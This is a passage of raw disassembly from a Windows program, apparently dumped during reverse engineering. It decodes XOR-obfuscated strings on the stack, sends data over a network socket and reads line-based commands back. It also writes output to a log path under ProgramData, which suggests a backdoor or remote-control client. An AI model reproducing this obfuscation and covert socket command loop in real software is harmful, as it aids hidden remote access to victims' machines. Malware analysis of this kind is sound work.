movdqa xmmword [rbp + 0x3a0], xmm0
movabs rax, 0xda27975d0c52c938
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7c0], rax
movabs rax, 0xc2980ef10c6c4484
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7c8], rax
movabs rax, 0xd7df594f103ef1a1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7d0], rax
movabs rax, 0x4e4371121649336d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7d8], rax
movabs rax, 0xf296fda2eee7cbf5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7e0], rax
movabs rcx, 0x6fb8bbcf1199d5c8
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x7e8], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x3700], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3708], rax
movabs rax, 0xb2b13720731e9ed5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3710], rax
movabs rax, 0x2b30517d6269470e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3718], rax
movabs rax, 0xf296df829c82bd87
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3720], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x3728], rax
vmovdqu ymm0, ymmword [rbp + 0x7c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x3700]
vmovdqa ymmword [rbp + 0x7c0], ymm1
vmovdqa xmm0, xmmword [rbp + 0x7e0]
vxorps xmm0, xmm0, xmmword [rbp + 0x3720]
vmovdqa xmmword [rbp + 0x7e0], xmm0
movabs rax, 0x8753f2366f3d9a3e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x350], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x358], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x3270], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3278], rax
vmovdqa xmm0, xmmword [rbp + 0x350]
vxorps xmm0, xmm0, xmmword [rbp + 0x3270]
vmovdqa xmmword [rbp + 0x350], xmm0
lea rdx, [rbp + 0x350]
lea rcx, [rbp + 0x2100]
vzeroupper
call fcn.140017fd0
mov rsi, rax
movabs rax, 0x8753f2366f3dba42
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x390], rcx
mov qword [rbp], r12
mov rcx, qword [rbp]
mov qword [rbp + 0x398], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x3280], rcx
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3288], rax
movdqa xmm0, xmmword [rbp + 0x390]
xorps xmm0, xmmword [rbp + 0x3280]
movdqa xmmword [rbp + 0x390], xmm0
movabs rax, 0x8753f2366f3de143
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x360], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x368], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x3290], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3298], rax
movdqa xmm0, xmmword [rbp + 0x360]
xorps xmm0, xmmword [rbp + 0x3290]
movdqa xmmword [rbp + 0x360], xmm0
lea rdx, [rbp + 0x360]
lea rcx, [rbp + 0x20e0]
call fcn.140017fd0
mov rdi, rax
mov byte [rbp + 0x26], 0
mov edx, 0x1eb
lea rcx, [rbp + 0x1f40]
call fcn.14000d400
mov r8, rax
lea rdx, [rbp + 0x20c0]
lea rcx, [rbp + 0x26]
call fcn.1400104a0
mov rbx, rax
movabs rax, 0x8753f2366f719a3e
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x380], rcx
mov qword [rbp], r12
mov rcx, qword [rbp]
mov qword [rbp + 0x388], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x32a0], rcx
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x32a8], rax
movdqa xmm0, xmmword [rbp + 0x380]
xorps xmm0, xmmword [rbp + 0x32a0]
movdqa xmmword [rbp + 0x380], xmm0
lea rdx, str.launcher
lea rcx, [rbp + 0x20a0]
call fcn.140017fd0
mov r8, rax
movabs rax, 0x8753f2366f3dba38
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x370], rcx
mov qword [rbp], r12
mov rcx, qword [rbp]
mov qword [rbp + 0x378], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x32b0], rcx
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x32b8], rax
movdqa xmm0, xmmword [rbp + 0x370]
xorps xmm0, xmmword [rbp + 0x32b0]
movdqa xmmword [rbp + 0x370], xmm0
lea rdx, [rbp + 0x370]
lea rcx, [rbp + 0x2080]
call fcn.140018f00
nop
lea r8, [rbp + 0x380]
mov rdx, rax
lea rcx, [rbp + 0x2060]
call fcn.140019030
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x2040]
call fcn.140019110
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x2020]
call fcn.140019110
nop
lea r8, [rbp + 0x390]
mov rdx, rax
lea rcx, [rbp + 0x2000]
call fcn.140019030
nop
mov r8, rsi
mov rdx, rax
lea rcx, [rbp + 0x1fe0]
call fcn.140019110
nop
lea r8, [rbp + 0x7c0]
mov rdx, rax
lea rcx, [rbp + 0x1fc0]
call fcn.140019030
nop
mov r8, qword [rbp + 0x18]
mov rdx, rax
lea rcx, [rbp + 0x1fa0]
call fcn.1400190a0
nop
lea r8, [rbp + 0x3a0]
mov rdx, rax
lea rcx, [rbp + 0x1f80]
call fcn.140019030
nop
mov r8, r14
mov rdx, rax
lea rcx, [rbp + 0x1f60]
call fcn.140019110
mov rbx, rax
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 8
lea rdx, str.C:ProgramData.log
lea rcx, [rbp + 0x2ae0]
call fcn.140017c10
nop
mov rdx, rbx
mov rcx, rax
call fcn.140019130
nop
lea rcx, [rbp + 0x2ae0]
call fcn.1400106e0
nop
lea rcx, [rbp + 0x1f60]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1f80]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1fa0]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1fc0]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x1fe0]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x2000]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x2020]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x2040]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x2060]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x2080]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x20a0]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x20c0]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x20e0]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x2100]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x2120]
call fcn.140017eb0
call qword [sym.imp.WS2_32.dll_WSACleanup]
jmp 0x140016a27
movabs rax, 0xd31bd2194f69ff24
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6c0], rax
movabs rax, 0xe8f053bd5c2d41f0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6c8], rax
movabs r14, 0xb2b13720731e9ed5
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x6d0], rax
movabs rsi, 0x2b30517d6269470e
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x6d8], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x3020], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3028], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x3030], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x3038], rax
vmovdqu ymm0, ymmword [rbp + 0x6c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x3020]
vmovdqa ymmword [rbp + 0x6c0], ymm1
lea r8, [rbp + 0x6c0]
mov edx, 0x400
lea rcx, [rbp + 0x3740]
vzeroupper
call fcn.1400197e0
lea rax, [rbp + 0x3740]
mov rbx, 0xffffffffffffffff
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x140014571
xor r9d, r9d
lea rdx, [rbp + 0x3740]
mov rcx, r15
call qword [sym.imp.WS2_32.dll_send]
movabs rax, 0xf476d20c1b4ed52b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3b0], rax
movabs rax, 0xe2fd62936d021ba9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3b8], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x32c0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x32c8], rax
movdqa xmm0, xmmword [rbp + 0x3b0]
xorps xmm0, xmmword [rbp + 0x32c0]
movdqa xmmword [rbp + 0x3b0], xmm0
lea r9, [rbp + 0x3b40]
lea r8, [rbp + 0x3b0]
mov edx, 0x400
lea rcx, [rbp + 0x3740]
call fcn.1400197e0
lea rax, [rbp + 0x3740]
mov r8, rbx
nop
inc r8
cmp byte [rax + r8], 0
jne 0x140014620
xor r9d, r9d
lea rdx, [rbp + 0x3740]
mov rcx, r15
call qword [sym.imp.WS2_32.dll_send]
movabs rax, 0xee2791530153d520
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6e0], rax
movabs rax, 0x909a12c64d387fcb
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6e8], rax
movabs rax, 0xb2b1372a7e7bfab4
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6f0], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x6f8], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x3020], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3028], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x3030], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x3038], rax
vmovdqu ymm0, ymmword [rbp + 0x6e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x3020]
vmovdqa ymmword [rbp + 0x6e0], ymm1
lea r8, [rbp + 0x6e0]
mov edx, 0x400
lea rcx, [rbp + 0x3740]
vzeroupper
call fcn.1400197e0
lea rax, [rbp + 0x3740]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x140014710
xor r9d, r9d
lea rdx, [rbp + 0x3740]
mov rcx, r15
call qword [sym.imp.WS2_32.dll_send]
movabs rax, 0xbd3696571d5aca36
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x700], rax
movabs rax, 0x899e0de00f676684
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x708], rax
movabs rax, 0xb2b137207913eab0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x710], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x718], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x3020], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3028], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x3030], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x3038], rax
vmovdqu ymm0, ymmword [rbp + 0x700]
vpxor ymm1, ymm0, ymmword [rbp + 0x3020]
vmovdqa ymmword [rbp + 0x700], ymm1
lea r8, [rbp + 0x700]
mov edx, 0x400
lea rcx, [rbp + 0x3740]
vzeroupper
call fcn.1400197e0
lea rax, [rbp + 0x3740]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x140014800
xor r9d, r9d
lea rdx, [rbp + 0x3740]
mov rcx, r15
call qword [sym.imp.WS2_32.dll_send]
movabs rdi, 0xd4319761425edf30
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x780], rax
movabs rax, 0x87b64fe7086972cb
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x788], rax
movabs rax, 0xfafb7d130b3ea4ac
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x790], rax
movabs rax, 0x674a144c2e2d2543
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x798], rax
movabs rax, 0xb6ceb7c0dbbbd5ec
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7a0], rax
movabs rax, 0x6fb8bbc51ca4e8bf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7a8], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x3600], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3608], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x3610], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x3618], rax
movabs rax, 0xf296df829c82bd87
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3620], rax
movabs rax, 0x6fb8bbcf1199d5c8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3628], rax
vmovdqu ymm0, ymmword [rbp + 0x780]
vpxor ymm1, ymm0, ymmword [rbp + 0x3600]
vmovdqa ymmword [rbp + 0x780], ymm1
vmovdqa xmm0, xmmword [rbp + 0x7a0]
vxorps xmm0, xmm0, xmmword [rbp + 0x3620]
vmovdqa xmmword [rbp + 0x7a0], xmm0
lea r8, [rbp + 0x780]
mov edx, 0x400
lea rcx, [rbp + 0x3740]
vzeroupper
call fcn.1400197e0
lea rax, [rbp + 0x3740]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x140014976
xor r9d, r9d
lea rdx, [rbp + 0x3740]
mov rcx, r15
call qword [sym.imp.WS2_32.dll_send]
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x720], rax
movabs rax, 0x87ab4fe7086972cb
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x728], rax
movabs rax, 0x83910d4e1c77eda7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x730], rax
movabs rax, 0x2b30517d62634a3d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x738], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x3020], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3028], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x3030], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x3038], rax
vmovdqu ymm0, ymmword [rbp + 0x720]
vpxor ymm1, ymm0, ymmword [rbp + 0x3020]
vmovdqa ymmword [rbp + 0x720], ymm1
lea r8, [rbp + 0x720]
mov edx, 0x400
lea rcx, [rbp + 0x3740]
vzeroupper
call fcn.1400197e0
lea rax, [rbp + 0x3740]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x140014a66
xor r9d, r9d
lea rdx, [rbp + 0x3740]
mov rcx, r15
call qword [sym.imp.WS2_32.dll_send]
movabs rax, 0x8753f2366f3db06e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3c0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3c8], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x32d0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x32d8], rax
movdqa xmm0, xmmword [rbp + 0x3c0]
xorps xmm0, xmmword [rbp + 0x32d0]
movdqa xmmword [rbp + 0x3c0], xmm0
lea r8, [rbp + 0x3c0]
mov edx, 0x400
lea rcx, [rbp + 0x3740]
call fcn.1400197e0
lea rax, [rbp + 0x3740]
nop
inc rbx
cmp byte [rax + rbx], 0
jne 0x140014b00
mov r8, rbx
xor r9d, r9d
lea rdx, [rbp + 0x3740]
mov rcx, r15
call qword [sym.imp.WS2_32.dll_send]
xor ebx, ebx
lea rax, [rbp + 0x3740]
dec rax
mov qword [rbp + 0x10], rax
mov rdi, rax
cmp ebx, 2
jl 0x140014b4a
cmp ebx, 0x3ff
jge 0x140014b78
cmp byte [rdi - 1], 0xd
je 0x140014b78
cmp byte [rdi], 0xa
je 0x140014b78
movsxd rax, ebx
lea rdx, [rbp + 0x3740]
add rdx, rax
xor r9d, r9d
mov r8d, 1
mov rcx, r15
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
je 0x140016a27
inc ebx
inc rdi
jmp 0x140014b32
movsxd rax, ebx
cmp rax, 0x400
jae 0x140016a53
mov byte [rbp + rax + 0x3740], 0
cmp ebx, 0x3ff
jne 0x14001522f
movabs rax, 0x8753f2366f3dba69
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3d0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3d8], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x32e0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x32e8], rax
movdqa xmm0, xmmword [rbp + 0x3d0]
xorps xmm0, xmmword [rbp + 0x32e0]
movdqa xmmword [rbp + 0x3d0], xmm0
lea rdx, [rbp + 0x3d0]
lea rcx, [rbp + 0xd60]
call fcn.140017fd0
mov r14, rax
movabs rax, 0x8753f2366f3d9b41
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x430], rcx
mov qword [rbp], r12
mov rcx, qword [rbp]
mov qword [rbp + 0x438], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x32f0], rcx
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x32f8], rax
movdqa xmm0, xmmword [rbp + 0x430]
xorps xmm0, xmmword [rbp + 0x32f0]
movdqa xmmword [rbp + 0x430], xmm0
movabs rax, 0xda27975d0c52c938
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x740], rax
movabs rax, 0x86940ef21b6c5884
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x748], rax
movabs rax, 0x92c24254126aedf5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x750], rax
movabs rax, 0x4258265d07072e62
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x758], rax
movabs rax, 0x97f8b1edffa2d8eb
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x760], rax
movabs rax, 0xcc9ba87ff0a1ab
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x768], rax
movabs rax, 0xacabdd8a7b64d6a9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x770], rax
movabs rax, 0xabba0df9a0afffb0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x778], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x3020], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3028], rax
movabs rax, 0xb2b13720731e9ed5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3030], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x3038], rax
movabs rax, 0xf296df829c82bd87
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3040], rax
movabs rax, 0x6fb8bbcf1199d5c8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3048], rax
movabs rax, 0x8cd9b8fc0901a589
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3050], rax
movabs rax, 0xabba0df9a0afff92
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3058], rax
vmovdqu ymm0, ymmword [rbp + 0x3020]
vpxor ymm1, ymm0, ymmword [rbp + 0x740]
vmovdqa ymmword [rbp + 0x740], ymm1
vmovdqu ymm0, ymmword [rbp + 0x3040]
vpxor ymm1, ymm0, ymmword [rbp + 0x760]
vmovdqa ymmword [rbp + 0x760], ymm1
movabs rax, 0x8753f2366f3d9a3e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3e0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3e8], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x3300], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3308], rax
vmovdqa xmm0, xmmword [rbp + 0x3e0]
vxorps xmm0, xmm0, xmmword [rbp + 0x3300]
vmovdqa xmmword [rbp + 0x3e0], xmm0
lea rdx, [rbp + 0x3e0]
lea rcx, [rbp + 0xd40]
vzeroupper
call fcn.140017fd0
mov rsi, rax
movabs rax, 0x8753f2366f3dba42
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x420], rcx
mov qword [rbp], r12
mov rcx, qword [rbp]
mov qword [rbp + 0x428], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x3310], rcx
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3318], rax
movdqa xmm0, xmmword [rbp + 0x420]
xorps xmm0, xmmword [rbp + 0x3310]
movdqa xmmword [rbp + 0x420], xmm0
movabs rax, 0x8753f2366f3de143
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3f0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3f8], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x3430], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3438], rax
movdqa xmm0, xmmword [rbp + 0x3f0]
xorps xmm0, xmmword [rbp + 0x3430]
movdqa xmmword [rbp + 0x3f0], xmm0
lea rdx, [rbp + 0x3f0]
lea rcx, [rbp + 0xd20]
call fcn.140017fd0
mov rdi, rax
mov byte [rbp + 0x27], 0
mov edx, 0x206
lea rcx, [rbp + 0x2140]
call fcn.14000d400
mov r8, rax
lea rdx, [rbp + 0xd00]
lea rcx, [rbp + 0x27]
call fcn.1400104a0
mov rbx, rax
movabs rax, 0x8753f2366f719a3e
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x410], rcx
mov qword [rbp], r12
mov rcx, qword [rbp]
mov qword [rbp + 0x418], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x3320], rcx
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3328], rax
movdqa xmm0, xmmword [rbp + 0x410]
xorps xmm0, xmmword [rbp + 0x3320]
movdqa xmmword [rbp + 0x410], xmm0
lea rdx, str.launcher
lea rcx, [rbp + 0xce0]
call fcn.140017fd0
mov r8, rax
movabs rax, 0x8753f2366f3dba38
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x400], rcx
mov qword [rbp], r12
mov rcx, qword [rbp]
mov qword [rbp + 0x408], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x3330], rcx
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3338], rax
movdqa xmm0, xmmword [rbp + 0x400]
xorps xmm0, xmmword [rbp + 0x3330]
movdqa xmmword [rbp + 0x400], xmm0
lea rdx, [rbp + 0x400]
lea rcx, [rbp + 0x2280]
call fcn.140018f00
nop
lea r8, [rbp + 0x410]
mov rdx, rax
lea rcx, [rbp + 0x2260]
call fcn.140019030
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x2240]
call fcn.140019110
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x2220]
call fcn.140019110
nop
lea r8, [rbp + 0x420]
mov rdx, rax
lea rcx, [rbp + 0x2200]
call fcn.140019030
nop
mov r8, rsi
mov rdx, rax
lea rcx, [rbp + 0x21e0]
call fcn.140019110
nop
lea r8, [rbp + 0x740]
mov rdx, rax
lea rcx, [rbp + 0x21c0]
call fcn.140019030
nop
mov r8, qword [rbp + 0x18]
mov rdx, rax
lea rcx, [rbp + 0x21a0]
call fcn.1400190a0
nop
lea r8, [rbp + 0x430]
mov rdx, rax
lea rcx, [rbp + 0x2180]
call fcn.140019030
nop
mov r8, r14
mov rdx, rax
lea rcx, [rbp + 0x2160]
call fcn.140019110
mov rbx, rax
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 8
lea rdx, str.C:ProgramData.log
lea rcx, [rbp + 0x2be8]
call fcn.140017c10
nop
mov rdx, rbx
mov rcx, rax
call fcn.140019130
nop
lea rcx, [rbp + 0x2be8]
call fcn.1400106e0
nop
lea rcx, [rbp + 0x2160]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x2180]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x21a0]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x21c0]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x21e0]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x2200]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x2220]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x2240]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x2260]
call fcn.140017eb0
nop
lea rcx, [rbp + 0x2280]
call fcn.140017eb0
nop
lea rcx, [rbp + 0xce0]
call fcn.140017eb0
nop
lea rcx, [rbp + 0xd00]
call fcn.140017eb0
nop
lea rcx, [rbp + 0xd20]
call fcn.140017eb0
nop
lea rcx, [rbp + 0xd40]
call fcn.140017eb0
nop
lea rcx, [rbp + 0xd60]
call fcn.140017eb0
call qword [sym.imp.WS2_32.dll_WSACleanup]
jmp 0x140016a27
movabs rax, 0xb67dc3193f69ee2b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x440], rax
movabs rax, 0xe2fd62936d663484
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x448], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x3340], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3348], rax
movdqa xmm0, xmmword [rbp + 0x440]
xorps xmm0, xmmword [rbp + 0x3340]
movdqa xmmword [rbp + 0x440], xmm0
lea r8, [rbp + 0x300c]
lea rdx, [rbp + 0x440]
lea rcx, [rbp + 0x3740]
call fcn.14000d1b0
cmp dword [rbp + 0x300c], 0x65
je 0x140015e73
movabs rax, 0x8753f2366f3dba69
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x450], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x458], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x3350], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3358], rax
movdqa xmm0, xmmword [rbp + 0x450]
xorps xmm0, xmmword [rbp + 0x3350]
movdqa xmmword [rbp + 0x450], xmm0
lea rdx, [rbp + 0x450]
lea rcx, [rbp + 0xfc0]
call fcn.140017fd0
mov r15, rax
movabs rax, 0x8753f2366f3d9b41
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x4b0], rcx
mov qword [rbp], r12
mov rcx, qword [rbp]
mov qword [rbp + 0x4b8], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x3510], rcx
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3518], rax
movdqa xmm0, xmmword [rbp + 0x4b0]
xorps xmm0, xmmword [rbp + 0x3510]
movdqa xmmword [rbp + 0x4b0], xmm0
movabs rax, 0xa7369e5f074a9a4a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5c0], rax
movabs rax, 0x8b8901f6036c7ec7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5c8], rax
movabs rax, 0xd7c2174f073ef9bb
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5d0], rax
movabs rax, 0x2b30735d100c317c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5d8], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x3020], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3028], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x3030], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x3038], rax
vmovdqu ymm0, ymmword [rbp + 0x5c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x3020]
vmovdqa ymmword [rbp + 0x5c0], ymm1
mov edx, dword [rbp + 0x300c]
lea rcx, [rbp + 0xfa0]
vzeroupper
call fcn.14000d400
mov r14, rax
movabs rax, 0xda27975d0c52c938
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x620], rcx
movabs rax, 0x838911b309635384
mov qword [rbp], rax
mov rcx, qword [rbp]
